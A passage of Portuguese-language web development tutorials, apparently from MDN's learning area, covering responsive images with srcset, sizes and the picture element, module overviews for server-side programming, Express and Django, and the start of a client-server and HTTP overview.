simples, padrões, elementos de interface, etc., começa a ficar complexo criar uma imagem baseada em vetor com o tipo de detalhe que você encontraria em uma foto, por exemplo. Formatos de imagens rasterizadas, como JPEGs, são melhores para este tipo como nós vemos no exemplo acima.\n\nEste tipo de problema não existe quando a web começou a existir, no começo dos anos 1990 - naquele tempo somente desktops e laptops navegavam a Web, então engenheiros de navegadores e programadores nem pensavam em implementar soluções. *Tecnologias de imagens responsivas* foram implementadas recentemente para resolver os problemas indicados acima, permitindo a você oferecer ao navegador vários arquivos de imagens, todas mostrando a mesma coisa mas contendo diferente número de pixels (mudança de resolução), ou diferentes imagens para diferente espaços de alocação (direção de arte).\n\n**Nota:** As novas funcionalidades discutidas neste artigo — `srcset`/`sizes`/`<picture>` — são todas suportadas nas versões atuais de navegadores mobile e desktop (incluindo Microsoft Edge, embora não suportada pelo Internet Explorer).\n\nComo você faz para criar imagens responsivas?\n---------------------------------------------\n\nNesta seção, nós iremos ver os dois problemas ilustrados acima e mostrar como resolvê-los usando fucionalidades de imagens responsivas do HTML. Você deve notar que nós iremos focar no elemento HTML `<img>` para esta seção, como visto na área de conteúdo do exemplo acima - a imagem no cabeçalho da página é somente para decoração, e assim implementada usando imagens de background CSS. CSS indiscutivelmente tem ferramentas melhores para design responsivo do que HTML, e nós iremos falar sobre estas ferramentas em um módulo futuro de CSS.\n\n### Mudança de resolução: Diferentes tamanhos\n\nEntão, qual é o problema que nós queremos resolver com mudança de resolução? Nós queremos mostrar identico conteúdo da imagem, somente maior ou menor dependendo do dispositivo - esta é a situação que nós temos com a segunda imagem do conteúdo em nosso exemplo. O padrão do elemento `<img>` tradicionalmente somente permite apontar o navegador para uma única fonte:\n\n\n```html\n<img src=\"elva-fairy-800w.jpg\" alt=\"Elva dressed as a fairy\" />\n```\n\n\nNós podemos, entretanto, usar dois novos atributos — `srcset` e `sizes` —para fornecer várias fontes adicionais juntamente com sugestões para ajudar o navegador a pegar a correta. Você pode ver um exemplo disso no nosso exemplo responsive.html no Github (ver também o código fonte):\n\n\n```html\n<img\n srcset=\"\n elva-fairy-320w.jpg 320w,\n elva-fairy-480w.jpg 480w,\n elva-fairy-800w.jpg 800w\n \"\n sizes=\"(max-width: 320px) 280px,\n (max-width: 480px) 440px,\n 800px\"\n src=\"elva-fairy-800w.jpg\"\n alt=\"Elva dressed as a fairy\" />\n```\n\n\nOs atributos `srcset` e `sizes` parecem complicados, mas não são difíceis de entender se você formata eles como mostrado acima, com uma parte diferente do valor do atributo para cada linha. Cada valor contém uma lista separada por vírgula, e cada parte da lista é dividida em três sub-partes. Vamos percorrer o conteúdo de cada agora:\n\n**`srcset`** define o conjunto de imagens que nós iremos permitir ao navegador escolher, e qual tamanho cada imagem tem. Antes de cada vírgula nós escrevemos:\n\n1. Um **nome do arquivo da imagem** (`elva-fairy-480w.jpg`).\n2. Um espaço.\n3. A **largura da imagem em pixels** (`480w`) — note que é usada a unidade `w`, e não `px` como você pode esperar. Este é o tamanho real da imagem, que pode ser encontrado no arquivo dela no seu computador (por exemplo no Mac você pode selecionar a imagem no Finder, e pressionar\n `Cmd`\n +\n `I`\n para mostrar as informações na tela).\n\n**`sizes`** define um conjunto de condições de mídia (ex.: largura da tela) e indica qual tamanho da imagem deveria ser a melhor escolha, quando certas condições de tela são verdadeiras - Estas são as sugestões que nós falamos antes. Neste caso, antes de cada vírgula nós escrevemos:\n\n1. Uma **condição de mídia** (`(max-width:480px)`) — Você vai aprender mais sobre isso no tema CSS, mas para agora vamos somente dizer que a condição de mídia descreve um possível estado em que a tela pode estar. Neste caso, nós estamos dizendo \"quando a largura da tela é 480px ou menos\".\n2. Um espaço.\n3. A **largura do slot** que a imagem irá preencher quando a condição de mídia for verdadeira (`440px`).\n\n**Nota:** Para a largura do slot, você pode fornecer um tamanho absoluto (`px`, `em`) ou um tamanho relativo (como porcentagem). Você pode ter notado que o último slot de largura não tem condição de mídia - isto é o padrão que será escolhido quando nenhuma condição for verdadeira. O navegador ignora tudo depois da primeira condição satisfeita, então tenha cuidado com a ordem de condições.\n\nEntão, com estes atributos no lugar, o navegador irá:\n\n1. Ver a largura do dispositivo.\n2. Ver qual condição de mídia na lista `sizes` é a primeira a ser verdadeira.\n3. Ver qual é o slot para aquela condição de mída.\n4. Carregar a imagem definida na lista `srcset` que possui o mesmo tamanho do slot ou, se não houver, da primeira imagem que é maior que o tamanho do slot escolhido.\n\nE é isto! Então neste ponto, se um navegador suportado com uma largurar de 480px carregar a página, a condição (`max-width: 480px`) será verdadeira, então o slot `440px` será escolhido, então o `elva-fairy-480w.jpg` será carregada, como a largura inerente (`480w`) é a mais próxima de `440px`. A imagem de 800px é 128KB no disco enquanto que a versão de 480px é somente 63KB - economizando 65KB. Agora imagine se fosse uma página que tivesse várias imagens. Usando esta técnica poderia economizar os dados de usuários de celular.\n\nNavegadores antigos que não suportam estas funcionalidades serão ignorados, seguiremos e carregaremos a imagem definida no atributo `src` como normal.\n\n**Nota:** No `<head>` do documento você encontrará a linha `<meta name=\"viewport\" content=\"width=device-width\">`: isto força navegadores de celular adotar a largura real para carregar páginas web (alguns navegadores mobile mentem sobre sua largura da janela, e em vez carregam páginas em uma largura grante e então encolhem a página carregada, o que é de muita ajuda para imagens e design responsivos. Nós iremos ensinar mais sobre isso em um módulo futuro).\n\n### Ferramentas de desenvolvimento úteis\n\nHá algumas ferramenta de desenvolvimento úteis em navegadores para ajudar a exercitar o necessário para slot de largura, etc, que você precisa usar. Quando eu estava trabalhando neles, eu primeiro carreguei a versão não responsiva do meu exemplo (`not-responsive.html`), então fui no Modo de Design Responsivo (Ferramentas >Desenvolvimento Web > Modo de Design Responsivo), que permite a você ver o layout da sua página como se ele estivesse visto através de uma variedade de diferentes tamanhos de telas.\n\nEu configurei a largura da janela para 320px e depois 480px; para cada uma eu fui no DOM Inspector, cliquei no elemento `<img>` no qual nós estamos interessados, então olhei o tamanho na aba Box Model view no lado direito da tela. Isto deve dar para você a dica da largura de imagem que você precisa.\n\n![A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels.](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/box-model-devtools.png)\n\nPróximo, você pode checar se o `srcset` está funcionando configurando a largura da janela para a qual você quiser (coloque para uma largura estreita, por exemplo), abrindo o Network Inspector (Ferramentas > Web Developer > Network), então recarregue a página. Isto deve dar a você uma lista do que foi carregado na página, e aqui você pode checar qual arquivo da imagem foi escolhida para baixar.\n\n> \n> \\*\\*Nota:\\*\\*Use o Mozilla Firefox para testar `srcset`. O Chrome carrega a melhor imagem se estiver em cache no navegador, anulando o propósito do teste na ferramenta de desenvolvimento.\n> \n> \n> \n\n![a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/network-devtools.png)\n\n### Mudança de Resolução: Mesmo tamanho, diferente resoluções\n\nSe você está dando suporte a múltiplas resoluções de vídeo, mas todas veem sua imagem no tamanho real na tela, você pode permitir ao navegador escolher uma resolução apropriada para a imagem usando `srcset` com x indentificadores e sem `sizes` - uma sintaxe um pouco mais fácil! Você pode encontrar um exemplo de como isto parece em srcset-resolutions.html (ver também o código fonte):\n\n\n```html\n<img\n srcset=\"elva-fairy-320w.jpg, elva-fairy-480w.jpg 1.5x, elva-fairy-640w.jpg 2x\"\n src=\"elva-fairy-640w.jpg\"\n alt=\"Elva dressed as a fairy\" />\n```\n\n\n![A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/resolution-example.png)Neste exemplo, o seguinte CSS é aplicado na imagem, então ela terá uma largura de 320 pixels na tela (também chamado pixels CSS):\n\n\n```css\nimg {\n  width: 320px;\n}\n```\n\n\nNeste caso, `sizes` não é preciso - o navegador simplesmente encontra qual resolução é a que será mostrada, e fornece a mais apropriada definida no `srcset`. Então se o dispositivo que acessa a página tem um padrão de baixa resolução, com um pixel do dispositivo representando cada pixel CSS, a imagem `elva-fairy-320w.jpg` será carregada (o 1x é implícito, então você não precisa incluí-lo). Se o dispositivo tem uma alta resolução de dois pixels do dispositivo para pixel CSS ou mais, a imagem `elva-fairy-640w.jpg` será carregada. A imagem 640px é 93KB, enquanto a 320px é somente 39KB.\n\n### Direção de Arte\n\nRecapitulando, o problema de direção de arte involve querer mudar a imagem mostrada para se adequar a diferentes tamanhos de tela. Por exemplo, se uma foto de um grande panorama com uma pessoa no centro é mostrada em uma página quando visualizada em um navegador de desktop, então é encolhido quando a página é vista em um navegador de celular, ficará ruim pois a pessoa no centro aparecerá bem pequena e difícil de ver. Provavelmente seria melhor mostrar uma imagem menor e em formato retrato (em pé) no celular, que mostrará a pessoa ampliada. O elemento `<picture>` permite a nós implementar justamente este tipo de solução.\n\nVoltando para o nosso exemplo not-responsive.html, nós temos uma imagem que precisa de uma direção de arte:\n\n\n```html\n<img src=\"elva-800w.jpg\" alt=\"Chris standing up holding his daughter Elva\" />\n```\n\n\nVamos consertar isso, com `<picture>`! Como `<video>` e `<audio>`, O elemento `<picture>` é um invólucro contendo muitos elementos `<source>` que fornecem muitas fontes diferentes para o navegador escolher, seguido pelo elemento mais importante `<img>`. O código em responsive.html ficará assim então:\n\n\n```html\n<picture>\n  <source media=\"(max-width: 799px)\" srcset=\"elva-480w-close-portrait.jpg\" />\n  <source media=\"(min-width: 800px)\" srcset=\"elva-800w.jpg\" />\n  <img src=\"elva-800w.jpg\" alt=\"Chris standing up holding his daughter Elva\" />\n</picture>\n```\n\n\n* Os elementos `<source>` inclui um atributo `media` que contem uma condição de mídia - como no nosso primeiro exemplo `srcset`, estas condições são testadas para qual imagem será mostrada no dispositivo - a primeira que retornar um valor verdadeiro, será escolhida. Neste caso, se a largura da janela é 799px ou menor, a primeira imagem do elemento `<source>` será mostrada. Se a largura da janela é 800px ou maior, será escolhida a segunda.\n* Os atributos `srcset` contem o caminho para a imagem que será apresentada. Note que como acabamos de ver acima com `<img>`, `<source>` pode pegar um atributo srcsetcom múltiplas imagens referenciadas, e um atributo sizes também. Então você pode oferecer múltiplas imagens via um elemento `<picture>`, mas também oferecer múltiplas resoluções para cada uma. Na prática, você provavelmente não vai querer fazer isso com frequência.\n* Em todos os casos, você deve fornecer um elemento `<img>`, com `src` e `alt`, logo antes do `</picture>`, de outra forma não aparecerá imagens. Assim um padrão será aplicado quando nenhuma condição for atendida (você pode remover o segundo elemento `<source>` neste exemplo), e verificar navegadores que não suportam o elemento `<picture>`.\n\nEste código nos permite mostrar uma imagem adequada em ambas extensas e estreitas telas, como podemos ver abaixo:\n\n![Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center.](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/picture-element-wide.png)\n![Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen](/pt-BR/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images/picture-element-narrow.png)\n\n**Nota:** Nota: Você deveria usar o atributo `media` somente em cenários de direção de arte; quando você usa `media`, não oferecendo também condições com o atributo `sizes`.\n\n### Por que não podemos só fazer isso usando CSS ou JavaScript?\n\nQuando o navegador começa a carregar a página, inicia o download de todas as imagens antes do analisador principal ter começado a carregar e interpretar o JavaScript e o CSS da página. Isto é uma técnica útil, a qual diminui o tempo de carregamento médio em 20%. Entretanto, isto não é útil para imagens responsivas, então é necessário implementar soluções como srcset. Você não pode, por exemplo, carregar o elemento `<img>`, então detectar a largura da janela com JavaScript e mudar dinamicamente o arquivo da imagem para um menor, caso deseje. Até lá, a imagem original deveria já ter sido carregada, e você iria carregar uma menor, o que é ainda pior em termos de imagens responsivas.\n\n### Use bastante formatos de imagens modernos\n\nHá vários novos e excitantes formatos de imagens (como WebP e JPEG-2000) que podem manter baixo tamanho de arquivo e alta qualidade ao mesmo tempo. Entretanto, o suporte do navegador é menor.\n\n`<picture>` permite-nos continuar dando suporte para navegadores antigos. Você pode suprir tipos MIME dentro de atributos `type`, então o navegador pode rejeitar imediatamente arquivos não suportados:\n\n\n```html\n<picture>\n  <source type=\"image/svg+xml\" srcset=\"pyramid.svg\" />\n  <source type=\"image/webp\" srcset=\"pyramid.webp\" />\n  <img\n src=\"pyramid.png\"\n alt=\"regular pyramid built from four equilateral triangles\" />\n</picture>\n```\n\n\n* *Não* use o atributo `media`, a menos que você também precise de direção de arte.\n* No elemento `<source>`, você só pode referenciar imagens de tipos declarados em `type`.\n* Como antes, você é encorajado a usar uma lista separada por vírgula com `srcset` e `sizes`, caso precise.\nAprendizado ativo: Implementando suas próprias imagens responsivas\n------------------------------------------------------------------\n\nPara esse exercício, nós estamos esperando que você seja corajoso e vá sozinho.. principalmente. Nós queremos que você implemente sua própria adequada direção de arte em tela estreita/ampla usando `<picture>`, e um exemplo de mudança de resolução que use `srcset`.\n\n1. Escreva um simples HTML contendo seu código (use `not-responsive.html` como um ponto de partida, se quiser)\n2. Encontre uma boa imagem ampla de um panorama com algum detalhe contido em alguma parte. Crie uma versão de tamanho web usando um editor de imagem, então coloque para mostrar uma pequena parte que amplia o detalhe, e salve em uma segunda imagem (algo como 480px está bom).\n3. Use o elemento `<picture>` para implementar uma mudança de imagem!\n4. Crie múltiplos arquivos de imagem de diferentes tamanhos, cada um mostrando a mesma imagem.\n5. Use `srcset`/`size` para criar um exemplo de mudança de resolução, que sirva para os mesmos tamanhos de imagens em diferentes resoluções, ou diferentes tamanhos de imagens em cada largura de janela.\n\n> \n> \\*\\*Nota:\\*\\*Use a ferramenta de desenvolvimento do navegador para ajudar a ver os tamanhos que você precisa, como mencionado acima.\n> \n> \n> \n\nSumário\n-------\n\nIsto é um geral sobre imagens responsivas - nós esperamos que você tenha aproveitado estas novas técnicas. Recapitulando, há dois problemas que nós discutimos aqui:\n\n* **Direção de Arte:** O problema consiste em apresentar imagens cortadas para diferentes layouts - por exemplo, uma imagem panorâmica mostrada completa em um layout desktop, e uma imagem retrato mostrando o objeto principal ampliado em um layout mobile. Isto pode ser resolvido usando o elemento `<picture>`.\n* **Mudança de resolução:** O problema é apresentar arquivos menores de imagens para dispositivos estreitos, porque eles não precisam de imagens gigantes como em computadores - e também, opcionalmente, que você quer apresentar imagens de diferentes resoluções para alta e baixa densidades de tela. Isto pode resolver usando vector graphics (imagens SVG), e os atributos `srcset` e `sizes`.\n\nIsto também encerra o módulo Multimedia and embedding! A única coisa para fazer agora é seguir e tentar nosso teste de multimídia, e ver como você está. Se divirta.\n\nVeja também\n-----------\n\n* Jason Grigsby's excelente introdução a imagens responsivas\n* Imagens respondivas: Se você está mudando de resolução, use srcset — Inclui mais explicação sobre como o navegador resolve qual imagem usar\n* `<img>`\n* `<picture>`\n* `<source>`\n* Anterior\n* Menu: Multimedia and embedding\n* Próxima  (en-US)"}
{"title":"Primeiros passos programando o site no servidor - Aprendendo desenvolvimento web","text":"Primeiros passos programando o site no servidor\n===============================================\n\nNeste módulo nós iremos responder uma pergunta fundamental sobre programção server-side —\"O que é?\",\"Quão diferente é da programação client-side?\", e \"Por que é tão útil?\".\n\nEm seguida vamos fornecer uma visão geral de alguns dos mais populares server-side web framworks juntamente com orientações sobre como selecionar o mais adequado framwork para criar seu primeiro website.\n\nPor fim, fornecemos um artigo introdutório de alto nível sobre segurança do servidor da web\n\nFinalmente,nós iremos fornecer uma introdução de alto nível.\n\nPré-requisitos\n--------------\n\nAntes de começarmos este módulo,você não precisa ter nenhum conhecimento de programação server-side,ou mesmo qualquer outro tipo de programção.\n\nEntretanto,você precisa saber como a web funciona.Nós recomendamos que você leia primeiro os seguintes tópicos:\n\n* O que é um servidor?\n* Qual o software eu preciso para construir um website?\n* Como eu faço o upload de arquivos para um webserver?\n\nCom o entendimento básico disso, você estará pronto para trabalhar nos módulos desta seção.\n\nGuias\n-----\n\nIntrodução ao server-side\n\nBem-vindo ao curso para iniciante de programação server-side do MDN! Neste primeiro artigo, examinaremos a programação server-side de alto nível, respondendo a perguntas como \"O que é?\", \"Como ela difere da programação do lado do cliente?\" E \"Por que é tão útil?\". Depois de ler este artigo, você entenderá o poder adicional disponível para sites por meio de codificação server-side.\n\nVisão geral do cliente-servidor\n\nAgora que você conhece a finalidade e os benefícios potenciais da programação server-side , examinaremos em detalhes o que acontece quando um servidor recebe uma \"solicitação dinâmica\" de um navegador. Como o código server-side da maioria dos sites lida com solicitações e respostas de maneira semelhante, isso ajudará você a entender o que precisa fazer ao escrever seu próprio código.\n\nFramework server-side (en-US)\n\nNo último artigo foi mostrado o que uma aplicação server-side precisa fazer para responder as solicitações de um navegador da web. Agora mostramos como as estruturas da Web podem simplificar essas tarefas e ajudá-lo a escolher o framework para seu primeiro aplicativo da Web server-side.\n\nSegurança do website\n\nA segurança do website exige vigilância em todos os aspectos,do desenvolvimento ao uso. Este artigo introdutório não fará de você um guru em segurança de website, mas ajudará você a entender quais as primeiras medidas importantes que você deve tomar para proteger seu aplicativo da Web contra as ameaças mais comuns.\n\nAvaliação\n---------\n\nEste módulo de \"visão geral\" não tem nenhuma avaliação porque ainda não mostramos nenhum código. Esperamos que, a esta altura, você tenha um bom entendimento dos tipos de funcionalidade que pode oferecer usando a programação do lado do servidor e que tenha tomado uma decisão sobre qual estrutura da web do lado do servidor usará para criar seu primeiro site."}
{"title":"Express Web Framework (Node.js/JavaScript) - Aprendendo desenvolvimento web","text":"Express Web Framework (Node.js/JavaScript)\n==========================================\n\nExpress é um popular framework web estruturado, escrito em JavaScript que roda sobre o ambiente node.js em tempo de execução. Este módulo explica alguns dos principais benefícios deste framework, como configurar o seu ambiente de desenvolvimento e como executar tarefas comuns de desenvolvimento e implantação da web.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você precisará entender o que é programação web e as estruturas do lado do servidor são, o ideal é ler os tópicos em nosso Módulo de primeiros passos da programação de sites do lado servidor. Um conhecimento geral de conceitos de programação e JavaScript é altamente recomendado, mas não é essencial para a compreensão dos conceitos fundamentais.\n\n**Nota:** Nota: Este site possui muitos recursos úteis para aprender JavaScript no contexto do desenvolvimento do lado do cliente: JavaScript, Guia de JavaScript, princípios básicos de JavaScript, JavaScript (aprendizagem). O core JavaScript linguagem e conceitos são os mesmos para o desenvolvimento do lado do servidor no Node.js e este material será relevante. O Node.js oferece APIs adicionais para suportar funcionalidades que são úteis em ambientes sem navegador, e. Para criar servidores HTTP e acessar o sistema de arquivos, mas não suporta APIs JavaScript para trabalhar com o navegador e o DOM.\n\nEste guia fornecerá algumas informações sobre como trabalhar com o Node.js e o Express, e existem inúmeros outros recursos excelentes na Internet e em livros - alguns desses relacionados de Como faço para começar com Node.js (StackOverflow) e O que são os Melhores recursos para aprender Node.js? (Quora).\n\nTutoriais\n---------\n\nExpress/Node introdução\n\nNeste primeiro artigo Express, respondemos as perguntas \"O que é Node?\" E \"O que é Express?\" E dar-lhe uma visão geral do que torna a estrutura web Express especial. Apresentaremos os principais recursos e mostraremos alguns dos principais blocos de construção de um aplicativo Express (embora neste momento você ainda não tenha um ambiente de desenvolvimento para testá-lo).\n\nConfigurando um ambiente de desenvolvimento em Node (Express)\n\nAgora que você sabe o que o Express é, vamos mostrar-lhe como configurar e testar um ambiente de desenvolvimento de Node.js / Express no Windows, Linux (Ubuntu) e Mac OS X. Qualquer sistema operacional comum que você esteja usando, este artigo deve Dê o que você precisa para começar a desenvolver aplicativos Express.\n\nTutorial Express: O site da Biblioteca Local\n\nO primeiro artigo da nossa série de tutoriais práticos explica o que você aprenderá e fornecer uma visão geral do exemplo de site da \"biblioteca local\", no qual estaremos trabalhando e evoluindo em artigos subsquentes.\n\nExpress Tutorial Part 2: Creating a skeleton website\n\nEste artigo mostra como você pode criar um projeto de \"esqueleto\" de website, no qual você pode popular com as rotas específicas do site, modelos/vizualizações e bancos de dados.\n\nExpress Tutorial Part 3: Using a Database (with Mongoose)\n\nThis article briefly introduces databases for Node/Express. It then goes on to show how we can use Mongoose to provide database access for the *LocalLibrary* website. It explains how object schema and models are declared, the main field types, and basic validation. It also briefly shows a few of the main ways you can access model data.\n\nExpress Tutorial Part 4: Routes and controllers (en-US)\n\nIn this tutorial we'll set up routes (URL handling code) with \"dummy\" handler functions for all the resource endpoints that we'll eventually need in the *LocalLibrary* website. On completion, we'll have a modular structure for our route handling code, that we can extend with real handler functions in the following articles. We'll also have a really good understanding of how to create modular routes using Express.\n\nExpress Tutorial Part 5: Displaying library data (en-US)\n\nWe're now ready to add the pages that display the *LocalLibrary* website books and other data. The pages will include a home page that shows how many records we have of each model type, and list and detail pages for all of our models. Along the way we'll gain practical experience in getting records from the database, and using templates.\n\nExpress Tutorial Part 6: Working with forms (en-US)\n\nIn this tutorial we'll show you how to work with HTML Forms in Express, using Pug, and in particular how to write forms to create, update, and delete documents from the database.\n\nExpress Tutorial Part 7: Deploying to production (en-US)\n\nNow you've created an awesome *LocalLibrary* website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.\n\nSee also\n--------\n\nInstalling LocalLibrary on PWS/Cloud Foundry\n\nThis article provides a practical demonstration of how to install *LocalLibrary* on the Pivotal Web Services PaaS cloud — this is a full-featured, open source alternative to Heroku, the PaaS cloud service used in Part 7 of the tutorial, listed above. PWS/Cloud Foundry is definitely worth checking out if you are looking for an alternative to Heroku (or another PaaS cloud service), or simply feel like trying something different.\n\nAdding more tutorials\n---------------------\n\nThat's the end of the tutorial articles (for now). If you would like to extend it, other interesting topics to cover are:\n\n* Using sessions\n* User authentication\n* User authorisation and permissions\n* Testing an Express web application\n* Web security for Express web applications.\n\nAnd of course it would be excellent to have an assessment task!"}
{"title":"Django Web Framework (Python) - Aprendendo desenvolvimento web","text":"Django Web Framework (Python)\n=============================\n\nDjango é um framework de web server-side extremamente popular e repleto de características, escrito em Python. O módulo mostra por que o Django é um dos frameworks web mais populares, como configurar um ambiente de desenvolvimento e como começar a usa-lo para criar seus próprios aplicativos da Web.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo você não precisa ter nenhum conhecimento de Django. Você precisará entender o que programação server-side e web frameworks são, idealmente lendo os tópicos em nosso módulo Server-side programação de website primeiros passos.\n\nUm conhecimento geral de conceitos de programação e Python é recomendado, mas não essenciais para entendimento dos conceitos principais.\n\n**Nota:** O Python é uma das linguagens de programação mais fáceis para os iniciantes lerem e entenderem. Dito isto, se você quiser entender melhor este módulo, então existem inúmeros livros e tutoriais gratuitos disponíveis pela Internet (programadores iniciantes podem querer ver a página Python for não programadores no wiki do python.org)\n\nComo começar?\n-------------\n\nIntrodução ao Django\n\nNeste primeiro artigo sobre Django vamos responder a questão \"O que é Django?\" e mostrar um resumo sobre o que faz esse web framework ser especial. Nós vamos resumir os recursos principais, incluindo algumas das funcionalidades avançadas que não teremos tempo de detalhar neste módulo. Também mostraremos alguns dos principais blocos de construção de um aplicativo Django, para que você tenha uma idéia do que ele pode fazer antes de continuar e configurá-lo e começar a se divertir.\n\nConfigurando um ambiente de desenvolvimento Django\n\nAgora que você sabe para quê o Django serve, iremos mostrar-lhe como configurar e testar um ambiente de desenvolvimento Django no Windows, Linux (Ubuntu) e Mac OS X - ou qualquer outro sistema operacional que você esteja usando, esse artigo deve ajudá-lo no que precisa para começar a desenvolver aplicações no Django.\n\nTutorial Django: Website de uma Biblioteca Local\n\nO primeiro artigo em nossa série de tutoria prática explica o que você irá aprender, e provê uma visão geral do site de exemplo \"biblioteca geral\" que estaremos trabalhando e evoluindo nos artigos subsequentes.\n\nTutorial Django Parte 2: Criando a base do website\n\nEsse artigo mostra como você pode criar um projeto de site \"esqueleto\" como base, o qual poderá ser preenchido com configurações, urls, models, views e templates de um site específico.\n\nTutorial Django Parte 3: Utilizando models\n\nEste artigo mostra como definir modelos para o site *BibliotecaLocal* - os modelos representam as estruturas de dados em que queremos armazenar os dados do aplicativo, além de permitirem o Django armazenar dados em banco de dados pela gente (e modificá-los depois). Ele explica o que é um modelo, como declará-lo, e alguns dos principais tipos de campos. Além de brevemente apresentar algumas das principais maneiras de acessar os dados de um modelo.\n\nTutorial Django Parte 4: Django admin site\n\nAgora que nós criamos os modelos para o site *BibliotecaLocal,* iremos usar o site Django Admin para adicionar alguns dados \"reais\" de livros. Primeiros mostraremos como registrar os modelos com o site admin, e então veremos como fazer login e criar alguns dados. Ao final iremos mostrar algumas maneiras de aprimorar ainda mais a apresentação do site de administração.\n\nTutorial Django Parte 5: Criando nossa página principal\n\nAgora estamos prontos para adicionar o código para exibir nossa primeira página inteira - uma home page para a BibliotecaLocal que mostra quantos registros temos de cada tipo de modelo e fornece links de navegação da barra lateral para nossas outras páginas. Ao longo do caminho, obteremos experiência prática ao escrever mapas e visualizações de URLs básicos, obtendo registros do banco de dados e usando modelos.\n\nTutorial Django Parte 6: Lista genérica e detail views\n\nEste tutorial estende nosso website *BibliotecaLocal* adicionando páginas de listagem e de detalhes, para livros e autores. Aqui nós vamos aprender sobre visualizações genéricas baseadas em classes e mostrar como elas podem reduzir a quantidade de código que você tem que escrever para casos comuns. Nós também entraremos na manipulação de URL em maiores detalhes, mostrando como realizar correspondências de padrões básicas.\n\nTutorial Django Parte 7: Framework de Sessões\n\nEste tutorial estende nosso site *BibliotecaLocal*, adicionando um contador de visitas baseado em sessão à home page. Esse é um exemplo relativamente simples, mas mostra como você pode usar a estrutura da sessão para prover um comportamento persistente para usuários anônimos em seus próprios sites.\n\nDjango Tutorial Part 8: Autenticação de Usuário e permissões\n\nNeste tutorial, mostraremos como permitir que os usuários façam login em seu site com suas próprias contas e como controlar o que podem fazer e ver com base no fato de estarem ou não logados e de suas permissões. Como parte dessa demonstração, ampliaremos o site da LocalLibrary, adicionando páginas de login e logout e páginas específicas de usuários e funcionários para a visualização de livros que foram emprestados.\n\nTutorial Django Parte 9: Trabalhando com formulários\n\nNeste tutorial iremos mostrar como trabalhar com HTML Forms no Django, e em particular a maneira mais fácil para escrever formulários para criar, atualizar e excluir instâncias do modelo. Como parte desta demonstração ampliaremos o website *BibliotecaLocal* para que bibliotecários possam renovar livros, e criar, atualizar e excluir autores usando usindo nossos próprios formulários (em vez de usar o aplicativo administrativo).\n\nTutorial Django Parte 10: Testando uma aplicação web Django\n\nConforme os sites crescem, tornam-se mais difíceis de testar manualmente - não apenas há mais para testar, mas à medida que as interações entre os componentes se tornam mais complexas, uma pequena alteração em uma área pode exigir muitos testes adicionais para verificar seu impacto em outras áreas. Uma forma de mitigar esses problemas é escrever testes automatizados, que podem ser executados de maneira fácil e confiável sempre que você fizer uma alteração. Este tutorial mostra como automatizar *o teste de unidade* do seu site usando a estrutura de teste do Django.\n\nTutorial Django Parte 11: Implantando Django em produção\n\nAgora você criou (e testou) um site da LocalLibrary incrível, você vai querer instalá-lo em um servidor web público para que ele possa ser acessado pela equipe da biblioteca e membros pela Internet. Este artigo fornece uma visão geral de como você pode encontrar um host para implantar seu site e o que você precisa fazer para preparar seu site para a produção.\n\nSegurança de aplicações web Django\n\nProteger os dados do usuário é uma parte essencial do design de qualquer site. Anteriormente, explicamos algumas das ameaças de segurança mais comuns no artigo Web security - este artigo fornece uma demonstração prática de como as proteções internas do Django lidam com essas ameaças.\n\nAssessments\n-----------\n\nA avaliação a seguir testará sua compreensão de como criar um site usando o Django, conforme descrito nos guias listados acima.\n\nDIY Django mini blog (en-US)\n\nNesta avaliação, você usará alguns dos conhecimentos que aprendeu neste módulo para criar seu próprio blog."}
{"title":"Visão geral do cliente-servidor - Aprendendo desenvolvimento web","text":"Visão geral do cliente-servidor\n===============================\n\n* Anterior\n* Menu: First steps\n* Próxima  (en-US)\n\nAgora que você conhece o propósito e os benefícios potenciais da programação do lado do servidor, examinaremos em detalhes o que acontece quando um servidor recebe uma \"solicitação dinâmica\" de um navegador. Como a maioria dos códigos do lado servidor do site lida com solicitações e respostas de maneiras semelhantes, isso o ajudará a entender o que você precisa fazer ao escrever a maior parte do seu próprio código.\n\n|  |  |\n| --- | --- |\n| Pré requisitos: | \n Conhecimento básico em informática. Uma compreensão básica do que é um\n servidor web.\n  |\n| Objetivos: | \n Entender as interações entre cliente e servidor em um website dinâmico\n e, em particular, quais operações precisam ser realizadas pelo código no\n servidor.\n  |\n\nNão há código real em discussão porque ainda não escolhemos um framework web para escrever nosso código. No entanto essa discussão é muito relevante, porque o comportamento descrito deve ser implementado pelo seu código no servidor, independentemente de qual linguagem de programação ou framework web você escolha.\n\nWeb servers e HTTP (uma introdução)\n-----------------------------------\n\nNavegadores Web se comunicam com servidores Web usando o **H**yper**T**ext**T**ransfer **P**rotocol (HTTP). Quando você clica em um link em uma página web, envia um formulário, ou faz uma pesquisa, o browser envia uma Requisição HTTP para o servidor.\n\nA requisição inclui:\n\n* Uma URL que identifica o servidor e o recurso de destino(e.g. por exemplo, um arquivo HTML, um determinado ponto de dados no servidor ou uma ferramenta a ser executada).\n* Um método que define a ação necessária(por exemplo, para obter um arquivo ou para salvar ou atualizar alguns dados). Os diferentes métodos e suas ações associadas estão listados abaixo :\n    + `GET`: Obtenha um recurso específico(por exemplo, um arquivo contendo informações sobre um produto ou uma lista de produtos) .\n    + `POST`: Crie um novo recurso(por exemplo, adicione um novo artigo a uma wiki, adicione um novo contato a um banco de dados e entre outros) .\n    + `HEAD`: Obtenha as informações de metadados sobre um recurso específico, sem obter o corpo, como o GET faria. Você pode, por exemplo, usar uma solicitação HEAD para descobrir a última vez que um recurso foi atualizado e, em seguida, usar a solicitação GET(mais \"CARA\") para baixar o recurso se ele tiver sido alterado.\n    + `PUT`: Atualize um recurso existente(ou crie um novo se ele não existir).\n    + `DELETE`: Apague um 